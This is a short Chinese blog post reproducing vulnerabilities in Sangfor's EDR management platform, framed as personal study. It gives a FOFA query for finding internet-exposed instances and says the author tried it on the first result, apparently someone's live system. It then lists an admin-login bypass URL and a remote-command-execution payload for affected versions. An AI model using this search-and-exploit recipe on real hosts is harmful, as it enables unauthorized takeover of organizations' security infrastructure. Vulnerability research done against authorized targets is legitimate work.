深信服EDR漏洞复现

声明

往后，复现的每个漏洞，我都会分享出来，希望可以通过这种方式，提高自己的能力，也希望大家可以一起学习，共同进步

漏洞描述

据说是有人把源码放网上了，不过看了看源码审计的过程，也确实利用php反序列化，从而RCE

深信服终端检测响应平台EDR，围绕终端资产安全生命周期，通过预防、防御、检测、响应赋予终端更为细致的隔离策略、更为精准的查杀能力、更为持续的检测能力、更为快速的处置能力。支持统一化的终端资产管理、终端病毒查杀、终端合规性检查和访问控制策略管理，支持对安全事件的一键隔离处置，以及对热点事件IOC的全网威胁定位。绝大多数的EDR管理平台部署于内网环境中，少数系统可以通过外网地址访问

影响范围

<=v3.2.19（任意用户登录）

v3.2.16-19（RCE）

复现过程

使用fofa搜索

title=“终端检测响应平台”

我就试了试第一个

点进去后

https://IP:PORT/ui/login.php

任意用户登录

将URL改成如下，直接进入后台

https://IP:PORT/ui/login.php?user=admin

RCE

payload为

https://IP:PORT/tool/log/c.php?strip_slashes=system&host=id